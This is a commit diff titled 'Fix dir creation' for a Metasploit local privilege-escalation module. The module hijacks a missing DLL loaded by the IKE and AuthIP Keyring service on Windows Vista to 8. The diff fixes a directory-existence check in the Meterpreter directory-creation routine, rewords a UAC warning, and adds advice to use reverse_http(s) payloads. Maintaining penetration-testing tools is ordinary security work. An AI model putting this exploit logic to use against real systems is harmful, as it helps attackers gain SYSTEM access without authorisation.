Fix dir creation
parent
8bfaa41723
commit
05426cb61b
|
@ -26,7 +26,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring
|
This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring
|
||||||
Modules' service which runs as SYSTEM, and starts automatically in default
|
Modules' service which runs as SYSTEM, and starts automatically in default
|
||||||
installations of Vista-Win8.
|
installations of Vista-Win8. Use reverse_http(s) for greater reliability
|
||||||
|
when attempting to reboot system.
|
||||||
},
|
},
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
@ -181,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
@non_existant_dirs.each do |dir|
|
@non_existant_dirs.each do |dir|
|
||||||
begin
|
begin
|
||||||
client.fs.dir.mkdir(dir)
|
client.fs.dir.mkdir(dir)
|
||||||
if exist?(path)
|
if exist?(dir)
|
||||||
return dir
|
return dir
|
||||||
end
|
end
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
@ -226,7 +227,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
|
|
||||||
if is_uac_enabled?
|
if is_uac_enabled?
|
||||||
print_warning("UAC is enabled results, may get false negatives on writeable folders.")
|
print_warning("UAC is enabled, may get false negatives on writeable folders.")
|
||||||
end
|
end
|
||||||
|
|
||||||
if datastore['DIR'].empty?
|
if datastore['DIR'].empty?
|
||||||
|
|
Loading…
Reference in New Issue